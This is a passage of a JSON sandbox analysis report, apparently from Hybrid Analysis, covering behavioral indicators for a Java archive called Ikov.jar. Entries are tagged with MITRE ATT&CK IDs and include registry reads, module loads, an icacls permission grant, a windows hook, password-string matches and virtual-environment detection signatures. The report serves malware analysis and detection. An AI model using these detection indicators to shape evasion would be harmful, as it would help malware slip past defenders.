297f66f275200fa96b0df78e46d1758a-6244","origin":"Hybrid Analysis Technology","mitre_attack_id":"T1057","relevance":1,"id":"stream-31","sources":[{"report_type":"sandbox","report_id":"6af23fd0dc588621900096f7"},{"report_type":"sandbox","report_id":"6af244141114811dde0f835f"}]},{"level":"informative","category":"Environment Awareness","name":"Queries process mitigation policy via NtQueryInformationProcess","description":"\"C:\\Program Files\\Java\\jre-1.8\\bin\\javaw.exe\" queried ProcessMitigationPolicy","origin":"API Call","mitre_attack_id":"T1497.001","relevance":1,"id":"api-323","sources":[{"report_type":"sandbox","report_id":"6af23fd0dc588621900096f7"},{"report_type":"sandbox","report_id":"6af244141114811dde0f835f"}]},{"level":"informative","category":"Environment Awareness","name":"Queries the user identity associated with the current process token","description":"\"javaw.exe\" queried token user identity (UID: 00000000-00000860)\n \"icacls.exe\" queried token user identity (UID: 00000000-00007264)","origin":"API Call","mitre_attack_id":"T1033","relevance":2,"id":"api-328","sources":[{"report_type":"sandbox","report_id":"6af23fd0dc588621900096f7"},{"report_type":"sandbox","report_id":"6af244141114811dde0f835f"}]},{"level":"informative","category":"Environment Awareness","name":"Queries volume information","description":"$38","origin":"API Call","mitre_attack_id":"T1082","relevance":8,"id":"api-39","sources":[{"report_type":"sandbox","report_id":"6af23fd0dc588621900096f7"},{"report_type":"sandbox","report_id":"6af244141114811dde0f835f"}]},{"level":"informative","category":"Environment Awareness","name":"Reads the active computer name","description":"\"javaw.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\COMPUTERNAME\\ACTIVECOMPUTERNAME\"; Key: \"COMPUTERNAME\")","origin":"Registry Access","mitre_attack_id":"T1082","relevance":5,"id":"registry-35","sources":[{"report_type":"sandbox","report_id":"6af23fd0dc588621900096f7"},{"report_type":"sandbox","report_id":"6af244141114811dde0f835f"}]},{"level":"informative","category":"External Systems","name":"Sample was identified as clean by Antivirus engines","description":"0/27 Antivirus vendors marked sample as clean (0% detection rate)","origin":"External System","relevance":10,"id":"avtest-1","sources":[{"report_type":"sandbox","report_id":"6af23fd0dc588621900096f7"},{"report_type":"sandbox","report_id":"6af244141114811dde0f835f"}]},{"level":"informative","category":"General","name":"Calls an API typically used to create a directory","description":"\"javaw.exe\" called \"CreateDirectoryA\" with parameter %TEMP%\\\\hsperfdata_COEc2pa (UID: 00000000-00000860)\n \"javaw.exe\" called \"CreateDirectoryW\" with parameter %ALLUSERSPROFILE%\\Oracle\\Java\\.oracle_jre_usage (UID: 00000000-00000860)\n \"javaw.exe\" called \"CreateDirectoryW\" with parameter %ALLUSERSPROFILE%\\Oracle\\Java (UID: 00000000-00000860)\n \"javaw.exe\" called \"CreateDirectoryW\" with parameter %ALLUSERSPROFILE%\\Oracle (UID: 00000000-00000860)","origin":"API Call","mitre_attack_id":"T1074.001","relevance":3,"id":"api-122","sources":[{"report_type":"sandbox","report_id":"6af23fd0dc588621900096f7"},{"report_type":"sandbox","report_id":"6af244141114811dde0f835f"}]},{"level":"informative","category":"General","name":"Calls an API typically used to create a process","description":"\"javaw.exe\" called \"CreateProcessW\" with parameter \"%WINDIR%\\system32\\icacls.exe %ALLUSERSPROFILE%\\Oracle\\Java\\.oracle_jre_usage /grant \"everyone\":(OI)(CI)M\" - (UID: 00000000-00000860)","origin":"API Call","mitre_attack_id":"T1106","relevance":5,"id":"api-128","sources":[{"report_type":"sandbox","report_id":"6af23fd0dc588621900096f7"},{"report_type":"sandbox","report_id":"6af244141114811dde0f835f"}]},{"level":"informative","category":"General","name":"Calls an API typically used to create an instance of a named pipe","description":"\"javaw.exe\" called \"NtCreateNamedPipeFile\" with parameter \"pipe\" - (UID: 00000000-00000860)","origin":"API Call","mitre_attack_id":"T1570","relevance":3,"id":"api-138","sources":[{"report_type":"sandbox","report_id":"6af23fd0dc588621900096f7"},{"report_type":"sandbox","report_id":"6af244141114811dde0f835f"}]},{"level":"informative","category":"General","name":"Calls an API typically used to load libraries","description":"$39","origin":"API Call","mitre_attack_id":"T1129","relevance":1,"id":"api-175","sources":[{"report_type":"sandbox","report_id":"6af23fd0dc588621900096f7"},{"report_type":"sandbox","report_id":"6af244141114811dde0f835f"}]},{"level":"informative","category":"General","name":"Calls an API typically used to retrieve function addresses","description":"$3a","origin":"API Call","mitre_attack_id":"T1106","relevance":1,"id":"api-176","sources":[{"report_type":"sandbox","report_id":"6af23fd0dc588621900096f7"},{"report_type":"sandbox","report_id":"6af244141114811dde0f835f"}]},{"level":"informative","category":"General","name":"Contains ability to dynamically load libraries","description":"INSTANCE.LoadLibraryEx at 297f66f275200fa96b0df78e46d1758a-6244\n INSTANCE.LoadLibraryEx at 297f66f275200fa96b0df78e46d1758a-7670","origin":"Hybrid Analysis Technology","mitre_attack_id":"T1106","relevance":3,"id":"stream-108","sources":[{"report_type":"sandbox","report_id":"6af23fd0dc588621900096f7"},{"report_type":"sandbox","report_id":"6af244141114811dde0f835f"}]},{"level":"informative","category":"General","name":"Contains ability to execute Windows APIs","description":"Found reference to API (Indicator: \"StringFromGUID2\"; File: \"Ikov.jar\")\n Found reference to API (Indicator: \"SeTakeOwnershipPrivilege\"; File: \"Ikov.jar\")\n Found reference to API (Indicator: \"SeShutdownPrivilege\"; File: \"Ikov.jar\")\n Found reference to API (Indicator: \"SeDebugPrivilege\"; File: \"Ikov.jar\")\n Found reference to API (Indicator: \"DeleteFile\"; File: \"Ikov.jar\")","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-101","sources":[{"report_type":"sandbox","report_id":"6af23fd0dc588621900096f7"},{"report_type":"sandbox","report_id":"6af244141114811dde0f835f"}]},{"level":"informative","category":"General","name":"Contains ability to find and load resources of specific modules (API string)","description":"Found reference to API \"LockResource returned null.\" (Indicator: \"LockResource\"; File: \"Ikov.jar\")","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-550","sources":[{"report_type":"sandbox","report_id":"6af23fd0dc588621900096f7"},{"report_type":"sandbox","report_id":"6af244141114811dde0f835f"}]},{"level":"informative","category":"General","name":"Contains ability to set/get the last-error code for a calling thread (API string)","description":"Found reference to API \"GetLastError() returned \" + n : \"errno was\" (Indicator: \"GetLastError\"; File: \"Ikov.jar\")\n Found reference to API \"Unable to open \" + file + \" (\" + kernel32.GetLastError() + \")\" (Indicator: \"GetLastError\"; File: \"Ikov.jar\")\n Found reference to API \"Unable to create/use I/O Completion port for \" + file + \" (\" + kernel32.GetLastError() + \")\" (Indicator: \"GetLastError\"; File: \"Ikov.jar\")","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-319","sources":[{"report_type":"sandbox","report_id":"6af23fd0dc588621900096f7"},{"report_type":"sandbox","report_id":"6af244141114811dde0f835f"}]},{"level":"informative","category":"General","name":"Contains ability to show a graphical window (API string)","description":"Found reference to API \"cb\"\n \"lpReserved\"\n \"lpDesktop\"\n \"lpTitle\"\n \"dwX\"\n \"dwY\"\n \"dwXSize\"\n \"dwYSize\"\n \"dwXCountChars\"\n \"dwYCountChars\"\n \"dwFillAttribute\"\n \"dwFlags\"\n \"wShowWindow\"\n \"cbReserved2\"\n \"lpReserved2\"\n \"hStdInput\"\n \"hStdOutput\"\n \"hStdError\" (Indicator: \"ShowWindow\"; File: \"Ikov.jar\")","origin":"File/Memory","mitre_attack_id":"T1564.003","relevance":1,"id":"string-208","sources":[{"report_type":"sandbox","report_id":"6af23fd0dc588621900096f7"},{"report_type":"sandbox","report_id":"6af244141114811dde0f835f"}]},{"level":"informative","category":"General","name":"Contains registry location strings","description":"\"SOFTWARE\\\\Microsoft\\\\Windows NT\\\\CurrentVersion\\\\Perflib\\\\009\" in Source: 1da4","origin":"File/Memory","mitre_attack_id":"T1012","relevance":1,"id":"string-120","sources":[{"report_type":"sandbox","report_id":"6af23fd0dc588621900096f7"},{"report_type":"sandbox","report_id":"6af244141114811dde0f835f"}]},{"level":"informative","category":"General","name":"Creates mutants","description":"Process javaw.exe created mutex with name \"\\Sessions\\1\\BaseNamedObjects\\__DDrawExclMode__\"\n Process javaw.exe created mutex with name \"\\Sessions\\1\\BaseNamedObjects\\__DDrawCheckExclMode__\"\n Process javaw.exe created mutex with name \"\\Sessions\\1\\BaseNamedObjects\\Local\\SM0:860:304:WilStaging_02\"\n Process javaw.exe created mutex with name \"Local\\SM0:860:304:WilStaging_02\"\n Process javaw.exe created mutex with name \"__DDrawExclMode__\"\n Process javaw.exe created mutex with name \"SM0:860:304:WilStaging_02\"\n Process javaw.exe created mutex with name \"__DDrawCheckExclMode__\"\n Process javaw.exe created mutex with name \"\\Sessions\\1\\BaseNamedObjects\\SM0:860:304:WilStaging_02\"\n Process icacls.exe created mutex with name \"\\Sessions\\1\\BaseNamedObjects\\SM0:7264:304:WilStaging_02\"\n Process icacls.exe created mutex with name \"SM0:7264:304:WilStaging_02\"","origin":"Created Mutant","mitre_attack_id":"T1480.002","relevance":3,"id":"mutant-0","sources":[{"report_type":"sandbox","report_id":"6af23fd0dc588621900096f7"},{"report_type":"sandbox","report_id":"6af244141114811dde0f835f"}]},{"level":"informative","category":"General","name":"Fails to load modules at runtime","description":"\"javaw.exe\" failed to load missing module \"%WINDIR%\\SYSTEM32\\symsrv.dll\" - [base:0; Status:c0000135]","origin":"API Call","mitre_attack_id":"T1129","relevance":1,"id":"api-22","sources":[{"report_type":"sandbox","report_id":"6af23fd0dc588621900096f7"},{"report_type":"sandbox","report_id":"6af244141114811dde0f835f"}]},{"level":"informative","category":"General","name":"Loads modules at runtime","description":"$3b","origin":"API Call","mitre_attack_id":"T1129","relevance":1,"id":"api-7","sources":[{"report_type":"sandbox","report_id":"6af23fd0dc588621900096f7"},{"report_type":"sandbox","report_id":"6af244141114811dde0f835f"}]},{"level":"informative","category":"General","name":"Loads the Bcrypt module DLL","description":"\"javaw.exe\" loaded module \"%WINDIR%\\System32\\bcryptprimitives.dll\" at CDD60000","origin":"Loaded Module","mitre_attack_id":"T1027","id":"module-9","sources":[{"report_type":"sandbox","report_id":"6af23fd0dc588621900096f7"},{"report_type":"sandbox","report_id":"6af244141114811dde0f835f"}]},{"level":"informative","category":"General","name":"Loads the RPC (Remote Procedure Call) module DLL","description":"\"javaw.exe\" loaded module \"%WINDIR%\\System32\\rpcrt4.dll\" at CF420000\n \"icacls.exe\" loaded module \"%WINDIR%\\System32\\rpcrt4.dll\" at CF420000","origin":"Loaded Module","mitre_attack_id":"T1129","id":"module-10","sources":[{"report_type":"sandbox","report_id":"6af23fd0dc588621900096f7"},{"report_type":"sandbox","report_id":"6af244141114811dde0f835f"}]},{"level":"informative","category":"General","name":"Looks up procedures from modules (excluding apphelp.dll, kernel32.dll, user32.dll, gdi32.dll, ole32.dll, comctl32.dll, uxtheme.dll, oleaut32.dll, version.dll, msctfime.ime)","description":"\"19001a0000000000204235ceff7f0000@ntdll.dll\"\n \"2200230000000000404235ceff7f0000@ntdll.dll\"","origin":"API Call","mitre_attack_id":"T1129","relevance":1,"id":"api-8","sources":[{"report_type":"sandbox","report_id":"6af23fd0dc588621900096f7"}]},{"level":"informative","category":"General","name":"Overview of unique CLSIDs touched in registry","description":"\"javaw.exe\" touched \"UIHost Class\" (Path: \"HKLM\\SOFTWARE\\CLASSES\\WOW6432NODE\\CLSID\\{054AAE20-4BEA-4347-8A35-64A533254A9D}\\LOCALSERVER32\")","origin":"Registry Access","mitre_attack_id":"T1546.015","relevance":3,"id":"registry-72","sources":[{"report_type":"sandbox","report_id":"6af23fd0dc588621900096f7"},{"report_type":"sandbox","report_id":"6af244141114811dde0f835f"}]},{"level":"informative","category":"General","name":"Possibly uses system binaries (Windows LOLbins)","description":"Observed system executable string:\"\\Device\\HarddiskVolume3\\Windows\\System32\\icacls.exe\" [Source: 00000000-00000860-00000BC0-2391210409]\n Observed system executable string:\"%WINDIR%\\system32\\icacls.exe\" [Source: 00000000-00000860-00000BC0-2391214079]\n Observed system executable string:\"%WINDIR%\\system32\\icacls.exe %ALLUSERSPROFILE%\\Oracle\\Java\\.oracle_jre_usage /grant \"everyone\":(OI)(CI)M\" [Source: 00000000-00000860-00000C47-8089345724]","origin":"File/Memory","relevance":1,"id":"string-170","sources":[{"report_type":"sandbox","report_id":"6af23fd0dc588621900096f7"},{"report_type":"sandbox","report_id":"6af244141114811dde0f835f"}]},{"level":"informative","category":"General","name":"Process launched with changed environment","description":"Process \"icacls.exe\" (UID: 00000000-00007264) was launched with new environment variables: \"USERDNSDOMAIN=\"cZ59LMTgqQ9C31w\"\"\n Process \"icacls.exe\" (UID: 00000000-00007264) was launched with modified environment variables: \"NUMBER_OF_PROCESSORS\"","origin":"Monitored Target","mitre_attack_id":"T1057","relevance":10,"id":"target-67","sources":[{"report_type":"sandbox","report_id":"6af23fd0dc588621900096f7"},{"report_type":"sandbox","report_id":"6af244141114811dde0f835f"}]},{"level":"informative","category":"General","name":"Reads information about supported languages","description":"\"javaw.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\CUSTOMLOCALE\"; Key: \"EN-US\")\n \"javaw.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\EXTENDEDLOCALE\"; Key: \"EN-US\")","origin":"Registry Access","mitre_attack_id":"T1082","relevance":3,"id":"registry-25","sources":[{"report_type":"sandbox","report_id":"6af23fd0dc588621900096f7"},{"report_type":"sandbox","report_id":"6af244141114811dde0f835f"}]},{"level":"informative","category":"General","name":"References Windows file paths for DLLs (possible dropped files)","description":"Observed system executable string:\"%WINDIR%\\system32\\user32.dll\" [Source: 00000000-00000860-00000C2B-2393513983]\n Observed system executable string:\"%WINDIR%\\system32\\DWMAPI.DLL\" [Source: 00000000-00000860-00000C2B-2393614677]\n Observed system executable string:\"%WINDIR%\\system32\\opengl32.dll\" [Source: 00000000-00000860-00000C2B-2393722160]\n Observed system executable string:\"%WINDIR%\\system32\\d3d9.dll\" [Source: 00000000-00000860-00000C2B-2394011611]","origin":"File/Memory","mitre_attack_id":"T1083","relevance":1,"id":"string-625","sources":[{"report_type":"sandbox","report_id":"6af23fd0dc588621900096f7"},{"report_type":"sandbox","report_id":"6af244141114811dde0f835f"}]},{"level":"informative","category":"General","name":"Sets a windows hook","description":"\"javaw.exe\" sets a windows hook with filter \"WH_CBT\" for thread ID 2224","origin":"API Call","mitre_attack_id":"T1056.004","relevance":10,"id":"api-71","sources":[{"report_type":"sandbox","report_id":"6af23fd0dc588621900096f7"},{"report_type":"sandbox","report_id":"6af244141114811dde0f835f"}]},{"level":"informative","category":"General","name":"Spawns new processes","description":"Spawned process \"icacls.exe\" with commandline \"%ALLUSERSPROFILE%\\\\Oracle\\\\Java\\\\.oracle_jre_usage /grant \"every ...\" (UID: 00000000-00007264)","origin":"Monitored Target","mitre_attack_id":"T1057","relevance":3,"id":"target-25","sources":[{"report_type":"sandbox","report_id":"6af23fd0dc588621900096f7"},{"report_type":"sandbox","report_id":"6af244141114811dde0f835f"}]},{"level":"informative","category":"General","name":"Spawns new processes that are not known child processes","description":"Spawned process \"icacls.exe\" with commandline \"%ALLUSERSPROFILE%\\\\Oracle\\\\Java\\\\.oracle_jre_usage /grant \"every ...\" (UID: 00000000-00007264)","origin":"Monitored Target","mitre_attack_id":"T1057","relevance":3,"id":"target-103","sources":[{"report_type":"sandbox","report_id":"6af23fd0dc588621900096f7"},{"report_type":"sandbox","report_id":"6af244141114811dde0f835f"}]},{"level":"informative","category":"Installation/Persistence","name":"Contains ability to lookup the windows account name","description":"INSTANCE.GetUserNameW@Advapi32 at 297f66f275200fa96b0df78e46d1758a-1093\n getUserNameEx@Secur32Util at 297f66f275200fa96b0df78e46d1758a-79c5\n INSTANCE.GetUserNameEx@Secur32 at 297f66f275200fa96b0df78e46d1758a-7b52","origin":"Hybrid Analysis Technology","mitre_attack_id":"T1033","relevance":5,"id":"stream-28","sources":[{"report_type":"sandbox","report_id":"6af23fd0dc588621900096f7"},{"report_type":"sandbox","report_id":"6af244141114811dde0f835f"}]},{"level":"informative","category":"Installation/Persistence","name":"Creates a thread in a self process","description":"\"javaw.exe\" creates a thread in process \"-1\" (Handle: FFFFFFFFFFFFFFFF)","origin":"API Call","mitre_attack_id":"T1055.003","relevance":3,"id":"api-264","sources":[{"report_type":"sandbox","report_id":"6af23fd0dc588621900096f7"},{"report_type":"sandbox","report_id":"6af244141114811dde0f835f"}]},{"level":"informative","category":"Installation/Persistence","name":"Dropped files","description":"\"urlref_httpmaven.apache.orgxsdmaven-4.0.0.xsd\" has type \"XML 1.0 document ASCII text\"- [targetUID: 00000000-00000860]\n \"urlref_httpwww.apache.orglicenses\" has type \"HTML document Unicode text UTF-8 text\"- [targetUID: 00000000-00000860]\n \"hs_err_pid860.log\" has type \"ASCII text with CRLF line terminators\"- Location: [C:\\hs_err_pid860.log]- [targetUID: 00000000-00000860]\n \"3903daac9bc4a3b7.timestamp\" has type \"ASCII text with CRLF line terminators\"- Location: [%ALLUSERSPROFILE%\\Oracle\\Java\\.oracle_jre_usage\\3903daac9bc4a3b7.timestamp]- [targetUID: 00000000-00000860]","origin":"Binary File","mitre_attack_id":"T1105","relevance":3,"id":"binary-0","sources":[{"report_type":"sandbox","report_id":"6af23fd0dc588621900096f7"},{"report_type":"sandbox","report_id":"6af244141114811dde0f835f"}]},{"level":"informative","category":"Installation/Persistence","name":"Drops XML files","description":"\"urlref_httpmaven.apache.orgxsdmaven-4.0.0.xsd\" has type \"XML 1.0 document ASCII text\"","origin":"Binary File","mitre_attack_id":"T1105","relevance":1,"id":"binary-39","sources":[{"report_type":"sandbox","report_id":"6af23fd0dc588621900096f7"},{"report_type":"sandbox","report_id":"6af244141114811dde0f835f"}]},{"level":"informative","category":"Installation/Persistence","name":"Monitors specific registry key for changes","description":"\"javaw.exe\" monitors \"HKLM\\SOFTWARE\\Microsoft\\Ole\" (Filter: 268435457; Subtree: 0)\n \"javaw.exe\" monitors \"HKCU_Classes\\Local Settings\\Software\\Microsoft\" (Filter: 268435457; Subtree: 1)\n \"javaw.exe\" monitors \"HKLM\\SYSTEM\\ControlSet001\\Services\\WinSock2\\Parameters\\Protocol_Catalog9\" (Filter: 1; Subtree: 0)\n \"javaw.exe\" monitors \"HKLM\\SYSTEM\\ControlSet001\\Services\\WinSock2\\Parameters\\NameSpace_Catalog5\" (Filter: 1; Subtree: 0)","origin":"API Call","mitre_attack_id":"T1012","relevance":1,"id":"api-12","sources":[{"report_type":"sandbox","report_id":"6af23fd0dc588621900096f7"}]},{"level":"informative","category":"Installation/Persistence","name":"Opens a handle to the specified process","description":"\"javaw.exe\" opens a process \"C:\\Program Files\\Java\\jre-1.8\\bin\\javaw.exe\" (UID: 00000000-00000860)","origin":"API Call","mitre_attack_id":"T1057","relevance":1,"id":"api-237","sources":[{"report_type":"sandbox","report_id":"6af23fd0dc588621900096f7"}]},{"level":"informative","category":"Installation/Persistence","name":"Opens registry keys","description":"$3c","origin":"Registry Access","mitre_attack_id":"T1012","relevance":1,"id":"registry-177","sources":[{"report_type":"sandbox","report_id":"6af23fd0dc588621900096f7"},{"report_type":"sandbox","report_id":"6af244141114811dde0f835f"}]},{"level":"informative","category":"Installation/Persistence","name":"Queries basic information of the specified process","description":"\"javaw.exe\" queries basic process information of the \"C:\\Program Files\\Java\\jre-1.8\\bin\\javaw.exe\" (UID: 860)\n \"javaw.exe\" queries basic process information of the \"C:\\Windows\\System32\\icacls.exe\" (UID: 860)","origin":"API Call","mitre_attack_id":"T1057","relevance":1,"id":"api-235","sources":[{"report_type":"sandbox","report_id":"6af23fd0dc588621900096f7"},{"report_type":"sandbox","report_id":"6af244141114811dde0f835f"}]},{"level":"informative","category":"Installation/Persistence","name":"Queries registry keys","description":"$3d","origin":"Registry Access","mitre_attack_id":"T1012","relevance":1,"id":"registry-172","sources":[{"report_type":"sandbox","report_id":"6af23fd0dc588621900096f7"},{"report_type":"sandbox","report_id":"6af244141114811dde0f835f"}]},{"level":"informative","category":"Installation/Persistence","name":"Reads files","description":"\"javaw.exe\" reads file \"c:\\ikov.jar\"","origin":"API Call","mitre_attack_id":"T1083","relevance":1,"id":"api-243","sources":[{"report_type":"sandbox","report_id":"6af23fd0dc588621900096f7"},{"report_type":"sandbox","report_id":"6af244141114811dde0f835f"}]},{"level":"informative","category":"Installation/Persistence","name":"Shows ability to use execution guardrails","description":"The analysis shows indicators which can be used as execution guardrails to ensure that payload only executes against intended targets/system. Matched sigs: Able to identify virtual environment by using user activity (API string)\n Matched sigs: Queries process mitigation policy via NtQueryInformationProcess","origin":"Indicator Combinations","mitre_attack_id":"T1480","relevance":1,"id":"summary-29","sources":[{"report_type":"sandbox","report_id":"6af23fd0dc588621900096f7"},{"report_type":"sandbox","report_id":"6af244141114811dde0f835f"}]},{"level":"informative","category":"Installation/Persistence","name":"Touches files","description":"$3e","origin":"API Call","mitre_attack_id":"T1083","relevance":1,"id":"api-263","sources":[{"report_type":"sandbox","report_id":"6af23fd0dc588621900096f7"},{"report_type":"sandbox","report_id":"6af244141114811dde0f835f"}]},{"level":"informative","category":"Installation/Persistence","name":"Tries to access non-existent files (executable)","description":"\"javaw.exe\" trying to access non-existent file \"C:\\Program Files\\Java\\jre-1.8\\bin\\FLTLIB.DLL\"\n \"javaw.exe\" trying to access non-existent file \"C:\\Program Files\\Java\\jre-1.8\\bin\\CRYPTSP.DLL\"\n \"javaw.exe\" trying to access non-existent file \"C:\\Program Files\\Java\\jre-1.8\\bin\\WSOCK32.dll\"\n \"javaw.exe\" trying to access non-existent file \"C:\\Program Files\\Java\\jre-1.8\\bin\\WINMM.dll\"\n \"javaw.exe\" trying to access non-existent file \"C:\\Program Files\\Java\\jre-1.8\\bin\\VERSION.dll\"\n \"javaw.exe\" trying to access non-existent file \"C:\\Program Files\\Java\\jre-1.8\\bin\\profapi.dll\"\n \"javaw.exe\" trying to access non-existent file \"C:\\Program Files\\Java\\jre-1.8\\bin\\GLU32.dll\"\n \"javaw.exe\" trying to access non-existent file \"C:\\Program Files\\Java\\jre-1.8\\bin\\d3d10warp.dll\"\n \"javaw.exe\" trying to access non-existent file \"C:\\Program Files\\Java\\jre-1.8\\bin\\dbghelp.dll\"\n \"javaw.exe\" trying to access non-existent file \"C:\\WINDOWS\\SYSTEM32\\symsrv.dll\"","origin":"API Call","mitre_attack_id":"T1083","relevance":3,"id":"api-126","sources":[{"report_type":"sandbox","report_id":"6af23fd0dc588621900096f7"},{"report_type":"sandbox","report_id":"6af244141114811dde0f835f"}]},{"level":"informative","category":"Installation/Persistence","name":"Tries to access non-existent files (non-executable)","description":"$3f","origin":"API Call","mitre_attack_id":"T1083","relevance":3,"id":"api-161","sources":[{"report_type":"sandbox","report_id":"6af23fd0dc588621900096f7"},{"report_type":"sandbox","report_id":"6af244141114811dde0f835f"}]},{"level":"informative","category":"Installation/Persistence","name":"Writes files","description":"\"javaw.exe\" writes file \"c:\\programdata\\oracle\\java\\.oracle_jre_usage\\3903daac9bc4a3b7.timestamp\"\n \"javaw.exe\" writes file \"c:\\hs_err_pid860.log\"","origin":"API Call","relevance":1,"id":"api-242","sources":[{"report_type":"sandbox","report_id":"6af23fd0dc588621900096f7"},{"report_type":"sandbox","report_id":"6af244141114811dde0f835f"}]},{"level":"informative","category":"Installation/Persistence","name":"Writes log files","description":"\"javaw.exe\" writes a file \"C:\\hs_err_pid860.log\"","origin":"API Call","mitre_attack_id":"T1074.001","relevance":1,"id":"api-159","sources":[{"report_type":"sandbox","report_id":"6af23fd0dc588621900096f7"}]},{"level":"informative","category":"Network Related","name":"Contains references to network communication API (string)","description":"Found reference to API \"Error occured in advise when trying to connect the listener\" (Indicator: \" connect \"; File: \"Ikov.jar\")","origin":"File/Memory","mitre_attack_id":"T1071","relevance":1,"id":"string-899","sources":[{"report_type":"sandbox","report_id":"6af23fd0dc588621900096f7"},{"report_type":"sandbox","report_id":"6af244141114811dde0f835f"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Able to capture screen (API string)","description":"Found reference to API \"com/sun/jna/platform/win32/DsGetDC$PDOMAIN_CONTROLLER_INFO.class\" (Indicator: \"GetDC\"; File: \"Ikov.jar\")\n Found reference to API \"com/sun/jna/platform/win32/DsGetDC$PDOMAIN_CONTROLLER_INFO$ByReference.class\" (Indicator: \"GetDC\"; File: \"Ikov.jar\")","origin":"File/Memory","mitre_attack_id":"T1113","relevance":1,"id":"string-78","sources":[{"report_type":"sandbox","report_id":"6af23fd0dc588621900096f7"},{"report_type":"sandbox","report_id":"6af244141114811dde0f835f"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Able to retrieve usernames and/or user information (API string)","description":"Found reference to API \"LookupAccountNameW was expected to fail with ERROR_INSUFFICIENT_BUFFER\" (Indicator: \"LookupAccountName\"; File: \"Ikov.jar\")\n Found reference to API \"Expected GetTokenInformation to fail with ERROR_INSUFFICIENT_BUFFER\" (Indicator: \"GetTokenInformation\"; File: \"Ikov.jar\")","origin":"File/Memory","mitre_attack_id":"T1033","relevance":1,"id":"string-121","sources":[{"report_type":"sandbox","report_id":"6af23fd0dc588621900096f7"},{"report_type":"sandbox","report_id":"6af244141114811dde0f835f"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Attempts to enumerate permission groups in the domain","description":"INSTANCE.NetLocalGroupEnum@Netapi32 at 297f66f275200fa96b0df78e46d1758a-79c5\n INSTANCE.NetGroupEnum@Netapi32 at 297f66f275200fa96b0df78e46d1758a-79c5\n INSTANCE.NetUserGetLocalGroups@Netapi32 at 297f66f275200fa96b0df78e46d1758a-79c5\n INSTANCE.NetUserGetGroups@Netapi32 at 297f66f275200fa96b0df78e46d1758a-79c5","origin":"Hybrid Analysis Technology","mitre_attack_id":"T1069.002","relevance":5,"id":"stream-141","sources":[{"report_type":"sandbox","report_id":"6af23fd0dc588621900096f7"},{"report_type":"sandbox","report_id":"6af244141114811dde0f835f"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Calls an API that may be used to take screenshots","description":"\"javaw.exe\" called \"CreateCompatibleBitmap\" with parameters {\"hdc\": \"4a010970\"\n \"cx\": \"1\"\n \"cy\": \"1\"}","origin":"API Call","mitre_attack_id":"T1113","relevance":1,"id":"api-105","sources":[{"report_type":"sandbox","report_id":"6af23fd0dc588621900096f7"},{"report_type":"sandbox","report_id":"6af244141114811dde0f835f"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Calls an API typically used for searching a directory for files","description":"$40","origin":"API Call","mitre_attack_id":"T1083","relevance":5,"id":"api-102","sources":[{"report_type":"sandbox","report_id":"6af23fd0dc588621900096f7"},{"report_type":"sandbox","report_id":"6af244141114811dde0f835f"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Calls an API typically used for taking snapshot of the specified processes","description":"\"javaw.exe\" called \"CreateToolhelp32Snapshot\" with parameters {\"dwFlags\": \"4\"\n \"th32ProcessID\": \"0\"}","origin":"API Call","mitre_attack_id":"T1057","relevance":3,"id":"api-103","sources":[{"report_type":"sandbox","report_id":"6af23fd0dc588621900096f7"},{"report_type":"sandbox","report_id":"6af244141114811dde0f835f"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Calls an API typically used to retrieve information about the current system","description":"\"javaw.exe\" called \"GetNativeSystemInfo\" with parameters {\"lpSystemInfo\": \"09000000001000000000010000000000fffffeffff7f0000ff0000000000000008000000d8210000000001000600004f\"}","origin":"API Call","mitre_attack_id":"T1082","relevance":3,"id":"api-108","sources":[{"report_type":"sandbox","report_id":"6af23fd0dc588621900096f7"},{"report_type":"sandbox","report_id":"6af244141114811dde0f835f"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve SID for the specified name (API string)","description":"Found reference to API \"LookupAccountNameW was expected to fail with ERROR_INSUFFICIENT_BUFFER\" (Indicator: \"LookupAccountName\"; File: \"Ikov.jar\")","origin":"File/Memory","mitre_attack_id":"T1087","relevance":1,"id":"string-452","sources":[{"report_type":"sandbox","report_id":"6af23fd0dc588621900096f7"},{"report_type":"sandbox","report_id":"6af244141114811dde0f835f"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve file and directory information (API string)","description":"Found reference to API \"ReadDirectoryChangesW failed on \" + fileInfo.file + \": '\" + Kernel32Util.formatMessageFromLastErrorCode(n) + \"' (\" + n + \")\" (Indicator: \"ReadDirectoryChange\"; File: \"Ikov.jar\")\n Found reference to API \"ReadDirectoryChangesW failed on \" + fileInfo.file + \", handle \" + hANDLE + \": '\" + Kernel32Util.formatMessageFromLastErrorCode(n5) + \"' (\" + n5 + \")\" (Indicator: \"ReadDirectoryChange\"; File: \"Ikov.jar\")","origin":"File/Memory","mitre_attack_id":"T1083","relevance":1,"id":"string-207","sources":[{"report_type":"sandbox","report_id":"6af23fd0dc588621900096f7"},{"report_type":"sandbox","report_id":"6af244141114811dde0f835f"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains string like password/secret","description":"Found string \"Verifying the user name and password...\" (Indicator: \"password\"; File: \"Ikov.jar\")\n Found string \"The client has requested to change the password\" (Indicator: \"password\"; File: \"Ikov.jar\")\n Found string \"Change password state supported by RASPHONE.EXE.\" (Indicator: \"password\"; File: \"Ikov.jar\")\n Found string \"usri1_name\"\n \"usri1_password\"\n \"usri1_password_age\"\n \"usri1_priv\"\n \"usri1_home_dir\"\n \"usri1_comment\"\n \"usri1_flags\"\n \"usri1_script_path\" (Indicator: \"password\"; File: \"Ikov.jar\")","origin":"File/Memory","mitre_attack_id":"T1555","relevance":1,"id":"string-475","sources":[{"report_type":"sandbox","report_id":"6af23fd0dc588621900096f7"},{"report_type":"sandbox","report_id":"6af244141114811dde0f835f"}]},{"level":"informative","category":"System Security","name":"Contains ability to access device drivers","description":"Found string 